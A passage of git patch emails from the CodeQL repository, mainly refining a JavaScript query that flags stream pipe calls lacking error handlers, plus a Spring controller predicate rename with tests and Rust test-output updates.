4580e1c32938..8436aa124d04 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -48,6 +48,21 @@ string getNonchainableStreamMethodName() { result = ["read", "write", "end", "pipe", "unshift", "push", "isPaused", "wrap", "emit"] } +/** + * Gets the property names commonly found on Node.js streams. + */ +string getStreamPropertyName() { + result = + [ + "readable", "writable", "destroyed", "closed", "readableHighWaterMark", "readableLength", + "readableObjectMode", "readableEncoding", "readableFlowing", "readableEnded", "flowing", + "writableHighWaterMark", "writableLength", "writableObjectMode", "writableFinished", + "writableCorked", "writableEnded", "defaultEncoding", "allowHalfOpen", "objectMode", + "errored", "pending", "autoDestroy", "encoding", "path", "fd", "bytesRead", "bytesWritten", + "_readableState", "_writableState" + ] +} + /** * Gets all method names commonly found on Node.js streams. */ @@ -109,6 +124,25 @@ predicate isPipeFollowedByNonStreamMethod(PipeCall pipeCall) { ) } +/** + * Holds if the pipe call result is used to access a property that is not typical of streams. + */ +predicate isPipeFollowedByNonStreamProperty(PipeCall pipeCall) { + exists(DataFlow::PropRef propRef | + propRef = pipeResultRef(pipeCall).getAPropertyRead() and + not propRef.getPropertyName() = getStreamPropertyName() + ) +} + +/** + * Holds if the pipe call result is used in a non-stream-like way, + * either by calling non-stream methods or accessing non-stream properties. + */ +predicate isPipeFollowedByNonStreamAccess(PipeCall pipeCall) { + isPipeFollowedByNonStreamMethod(pipeCall) or + isPipeFollowedByNonStreamProperty(pipeCall) +} + /** * Gets a reference to a stream that may be the source of the given pipe call. * Uses type back-tracking to trace stream references in the data flow. @@ -145,6 +179,6 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and - not isPipeFollowedByNonStreamMethod(pipeCall) + not isPipeFollowedByNonStreamAccess(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index a26cf2a93428..d6684328ddc0 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -11,18 +11,11 @@ | test.js:116:5:116:21 | stream.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:125:5:125:26 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:171:17:171:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:31 | getStre ... mber()) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:42 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:53 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:23 | getStream().pipe(p) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:34 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:45 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 1cc320bd00b8..f8c5058dc10f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -168,7 +168,7 @@ function test() { } { // Member access on a non-stream after pipe const notStream = getNotAStream(); - const val = notStream.pipe(writable).someMember; // $SPURIOUS:Alert + const val = notStream.pipe(writable).someMember; } { // Member access on a stream after pipe const notStream = getNotAStream(); From d7f86db76c6d0bb86f35c8234f0533f1a8619c15 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:19:05 +0200 Subject: [PATCH 315/535] Enhance PipeCall to exclude non-function and non-object arguments in pipe method detection --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 7 ++++++- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 2 -- .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 8 insertions(+), 5 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 8436aa124d04..b2eab9ad62a3 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -15,7 +15,12 @@ import javascript * A call to the `pipe` method on a Node.js stream. */ class PipeCall extends DataFlow::MethodCallNode { - PipeCall() { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] } + PipeCall() { + this.getMethodName() = "pipe" and + this.getNumArgument() = [1, 2] and + not this.getArgument(0).asExpr() instanceof Function and + not this.getArgument(0).asExpr() instanceof ObjectExpr + } /** Gets the source stream (receiver of the pipe call). */ DataFlow::Node getSourceStream() { result = this.getReceiver() } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index d6684328ddc0..8e7c4020abe0 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -15,7 +15,5 @@ | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:199:5:199:22 | notStream.pipe({}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:203:5:203:26 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index f8c5058dc10f..49f100617c5d 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -196,11 +196,11 @@ function test() { } { const notStream = getNotAStream(); - notStream.pipe({}); // $SPURIOUS:Alert + notStream.pipe({}); } { const notStream = getNotAStream(); - notStream.pipe(()=>{}); // $SPURIOUS:Alert + notStream.pipe(()=>{}); } { const plumber = require('gulp-plumber'); From 09220fce845b54d87c2701e7b5edc648c26561b4 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:33:36 +0200 Subject: [PATCH 316/535] Fixed issue where `pipe` calls from `rxjs` package would been identified as `pipe` calls on streams --- javascript/ql/lib/ext/rxjs.model.yml | 7 ++++++ .../ql/src/Quality/UnhandledStreamPipe.ql | 22 +++++++++++++++++-- .../UnhandledStreamPipe/rxjsStreams.js | 4 ++-- .../Quality/UnhandledStreamPipe/test.expected | 2 -- 4 files changed, 29 insertions(+), 6 deletions(-) create mode 100644 javascript/ql/lib/ext/rxjs.model.yml diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml new file mode 100644 index 000000000000..73c24fd875b9 --- /dev/null +++ b/javascript/ql/lib/ext/rxjs.model.yml @@ -0,0 +1,7 @@ +extensions: + - addsTo: + pack: codeql/javascript-all + extensible: typeModel + data: + - ["NonNodeStream", "rxjs", "Fuzzy"] + - ["NonNodeStream", "rxjs/operators", "Fuzzy"] diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index b2eab9ad62a3..5935129b610c 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -19,7 +19,8 @@ class PipeCall extends DataFlow::MethodCallNode { this.getMethodName() = "pipe" and this.getNumArgument() = [1, 2] and not this.getArgument(0).asExpr() instanceof Function and - not this.getArgument(0).asExpr() instanceof ObjectExpr + not this.getArgument(0).asExpr() instanceof ObjectExpr and + not this.getArgument(0).getALocalSource() = getNonNodeJsStreamType() } /** Gets the source stream (receiver of the pipe call). */ @@ -29,6 +30,14 @@ class PipeCall extends DataFlow::MethodCallNode { DataFlow::Node getDestinationStream() { result = this.getArgument(0) } } +/** + * Gets a reference to a value that is known to not be a Node.js stream. + * This is used to exclude pipe calls on non-stream objects from analysis. + */ +DataFlow::Node getNonNodeJsStreamType() { + result = ModelOutput::getATypeNode("NonNodeStream").asSource() +} + /** * Gets the method names used to register event handlers on Node.js streams. * These methods are used to attach handlers for events like `error`. @@ -181,9 +190,18 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { ) } +/** + * Holds if the source or destination of the given pipe call is identified as a non-Node.js stream. + */ +predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { + streamRef(pipeCall) = getNonNodeJsStreamType() or + pipeResultRef(pipeCall) = getNonNodeJsStreamType() +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and - not isPipeFollowedByNonStreamAccess(pipeCall) + not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonNodeJsStreamSource(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index a074be1c1a2f..0e86442dd911 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -5,6 +5,6 @@ const { of, from } = rx; const { map, filter } = ops; function f(){ - of(1, 2, 3).pipe(map(x => x * 2)); // $SPURIOUS:Alert - someNonStream().pipe(map(x => x * 2)); // $SPURIOUS:Alert + of(1, 2, 3).pipe(map(x => x * 2)); + someNonStream().pipe(map(x => x * 2)); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index 8e7c4020abe0..a0c899f50f59 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,5 +1,3 @@ -| rxjsStreams.js:8:3:8:35 | of(1, 2 ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| rxjsStreams.js:9:3:9:39 | someNon ... x * 2)) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | From b1048719aa48e9261ed5f077c2eb5598746ec14a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 12:42:56 +0200 Subject: [PATCH 317/535] Added `UnhandledStreamPipe` to `javascript-security-and-quality.qls` and `javascript-code-quality.qls` --- .../query-suite/javascript-code-quality.qls.expected | 1 + .../query-suite/javascript-security-and-quality.qls.expected | 1 + 2 files changed, 2 insertions(+) diff --git a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected index e4620badfc82..4e1662ae7864 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-code-quality.qls.expected @@ -2,4 +2,5 @@ ql/javascript/ql/src/Declarations/IneffectiveParameterType.ql ql/javascript/ql/src/Expressions/ExprHasNoEffect.ql ql/javascript/ql/src/Expressions/MissingAwait.ql ql/javascript/ql/src/LanguageFeatures/SpuriousArguments.ql +ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/RegExp/RegExpAlwaysMatches.ql diff --git a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected index 63f6629f7bfd..671b620c77cd 100644 --- a/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected +++ b/javascript/ql/integration-tests/query-suite/javascript-security-and-quality.qls.expected @@ -80,6 +80,7 @@ ql/javascript/ql/src/NodeJS/InvalidExport.ql ql/javascript/ql/src/NodeJS/MissingExports.ql ql/javascript/ql/src/Performance/PolynomialReDoS.ql ql/javascript/ql/src/Performance/ReDoS.ql +ql/javascript/ql/src/Quality/UnhandledStreamPipe.ql ql/javascript/ql/src/React/DirectStateMutation.ql ql/javascript/ql/src/React/InconsistentStateUpdate.ql ql/javascript/ql/src/React/UnsupportedStateUpdateInLifecycleMethod.ql From 775338ebdd74df612b04d50a4f344495cd790d08 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 12:21:20 +0100 Subject: [PATCH 318/535] Rename `getArrayValue` to `getAValue` --- .../semmle/code/java/frameworks/spring/SpringController.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll index cb7bd0e3dac4..847ca788bb9f 100644 --- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll +++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll @@ -159,7 +159,8 @@ class SpringRequestMappingMethod extends SpringControllerMethod { /** Gets the "value" @RequestMapping annotation array string value, if present. */ - string getArrayValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } + string getAValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } + /** Gets the "method" @RequestMapping annotation value, if present. */ string getMethodValue() { result = requestMappingAnnotation.getAnEnumConstantArrayValue("method").getName() From 708bbe391e3b113f760e778411e09c47b4e49f73 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 12:22:34 +0100 Subject: [PATCH 319/535] Add test for `SpringRequestMappingMethod.getAValue` --- .../controller/RequestController.expected | 0 .../spring/controller/RequestController.ql | 18 +++++ .../frameworks/spring/controller/Test.java | 72 ++++++++++--------- 3 files changed, 58 insertions(+), 32 deletions(-) create mode 100644 java/ql/test/library-tests/frameworks/spring/controller/RequestController.expected create mode 100644 java/ql/test/library-tests/frameworks/spring/controller/RequestController.ql diff --git a/java/ql/test/library-tests/frameworks/spring/controller/RequestController.expected b/java/ql/test/library-tests/frameworks/spring/controller/RequestController.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/java/ql/test/library-tests/frameworks/spring/controller/RequestController.ql b/java/ql/test/library-tests/frameworks/spring/controller/RequestController.ql new file mode 100644 index 000000000000..b1c1c1c86000 --- /dev/null +++ b/java/ql/test/library-tests/frameworks/spring/controller/RequestController.ql @@ -0,0 +1,18 @@ +import java +import utils.test.InlineExpectationsTest +private import semmle.code.java.frameworks.spring.SpringController + +module TestRequestController implements TestSig { + string getARelevantTag() { result = "RequestMappingURL" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "RequestMappingURL" and + exists(SpringRequestMappingMethod m | + m.getLocation() = location and + element = m.toString() and + value = "\"" + m.getAValue() + "\"" + ) + } +} + +import MakeTest diff --git a/java/ql/test/library-tests/frameworks/spring/controller/Test.java b/java/ql/test/library-tests/frameworks/spring/controller/Test.java index 6267073ce876..ad4fbc89f44f 100644 --- a/java/ql/test/library-tests/frameworks/spring/controller/Test.java +++ b/java/ql/test/library-tests/frameworks/spring/controller/Test.java @@ -32,92 +32,93 @@ public class Test { - static void sink(Object o) {} + static void sink(Object o) { + } @Controller static class NotTaintedTest { @RequestMapping("/") - public void get(WebRequest src) { + public void get(WebRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(NativeWebRequest src) { + public void get(NativeWebRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(ServletRequest src) { + public void get(ServletRequest src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(HttpSession src) { + public void get(HttpSession src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(PushBuilder src) { + public void get(PushBuilder src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Principal src) { + public void get(Principal src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(HttpMethod src) { + public void get(HttpMethod src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Locale src) { + public void get(Locale src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(TimeZone src) { + public void get(TimeZone src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(ZoneId src) { + public void get(ZoneId src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(OutputStream src) { + public void get(OutputStream src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Writer src) { + public void get(Writer src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(RedirectAttributes src) { + public void get(RedirectAttributes src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Errors src) { + public void get(Errors src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(SessionStatus src) { + public void get(SessionStatus src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(UriComponentsBuilder src) { + public void get(UriComponentsBuilder src) { // $ RequestMappingURL="/" sink(src); } @RequestMapping("/") - public void get(Pageable src) { + public void get(Pageable src) { // $ RequestMappingURL="/" sink(src); } } @@ -125,62 +126,62 @@ public void get(Pageable src) { @Controller static class ExplicitlyTaintedTest { @RequestMapping("/") - public void get(InputStream src) { + public void get(InputStream src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get(Reader src) { + public void get(Reader src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void matrixVariable(@MatrixVariable Object src) { + public void matrixVariable(@MatrixVariable Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestParam(@RequestParam Object src) { + public void requestParam(@RequestParam Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestHeader(@RequestHeader Object src) { + public void requestHeader(@RequestHeader Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void cookieValue(@CookieValue Object src) { + public void cookieValue(@CookieValue Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestPart(@RequestPart Object src) { + public void requestPart(@RequestPart Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void pathVariable(@PathVariable Object src) { + public void pathVariable(@PathVariable Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestBody(@RequestBody Object src) { + public void requestBody(@RequestBody Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get(HttpEntity src) { + public void get(HttpEntity src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void requestAttribute(@RequestAttribute Object src) { + public void requestAttribute(@RequestAttribute Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void sessionAttribute(@SessionAttribute Object src) { + public void sessionAttribute(@SessionAttribute Object src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } } @@ -191,13 +192,20 @@ static class Pojo { } @RequestMapping("/") - public void get(String src) { + public void get(String src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } @RequestMapping("/") - public void get1(Pojo src) { + public void get1(Pojo src) { // $ RequestMappingURL="/" sink(src); // $hasValueFlow } } + + @Controller + static class MultipleValuesTest { + @RequestMapping({"/a", "/b"}) + public void get(WebRequest src) { // $ RequestMappingURL="/a" RequestMappingURL="/b" + } + } } From 59d4f039d8e8bf5b8b90390de7a24bada2c7b17d Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 12:23:04 +0100 Subject: [PATCH 320/535] Deprecate `SpringRequestMappingMethod.getValue` (which didn't work) --- .../semmle/code/java/frameworks/spring/SpringController.qll | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll index 847ca788bb9f..4717cf031a23 100644 --- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll +++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringController.qll @@ -153,10 +153,8 @@ class SpringRequestMappingMethod extends SpringControllerMethod { result = this.getProducesExpr().(CompileTimeConstantExpr).getStringValue() } - /** Gets the "value" @RequestMapping annotation value, if present. */ - string getValue() { result = requestMappingAnnotation.getStringValue("value") } - - + /** DEPRECATED: Use `getAValue()` instead. */ + deprecated string getValue() { result = requestMappingAnnotation.getStringValue("value") } /** Gets the "value" @RequestMapping annotation array string value, if present. */ string getAValue() { result = requestMappingAnnotation.getAStringArrayValue("value") } From 45475c5c1debec552a30f0b1a05bfbe017b17146 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 12:23:15 +0100 Subject: [PATCH 321/535] Add change note --- .../change-notes/2025-05-22-spring-request-mapping-value.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md diff --git a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md new file mode 100644 index 000000000000..8b7effc535de --- /dev/null +++ b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md @@ -0,0 +1,4 @@ +--- +category: deprecated +--- +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. From a4788fd8160c4842c2897f025d2e36bf10075852 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 22 May 2025 13:36:38 +0200 Subject: [PATCH 322/535] Rust: update expected output --- .../PathResolutionConsistency.expected | 13 ++ .../PathResolutionConsistency.expected | 13 ++ .../PathResolutionConsistency.expected | 13 ++ .../PathResolutionConsistency.expected | 23 ++++ .../PathResolutionConsistency.expected | 13 ++ .../PathResolutionConsistency.expected | 13 ++ .../UncontrolledAllocationSize.expected | 117 ++++++++---------- 7 files changed, 142 insertions(+), 63 deletions(-) create mode 100644 rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/query-tests/security/CWE-327/CONSISTENCY/PathResolutionConsistency.expected create mode 100644 rust/ql/test/query-tests/security/CWE-328/CONSISTENCY/PathResolutionConsistency.expected diff --git a/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/extractor-tests/crate_graph/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..0aa771632529 --- /dev/null +++ b/rust/ql/test/library-tests/frameworks/postgres/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,13 @@ +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected index 03a2899da095..88e64c648bcf 100644 --- a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected @@ -39,3 +39,16 @@ multiplePathResolutions | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| 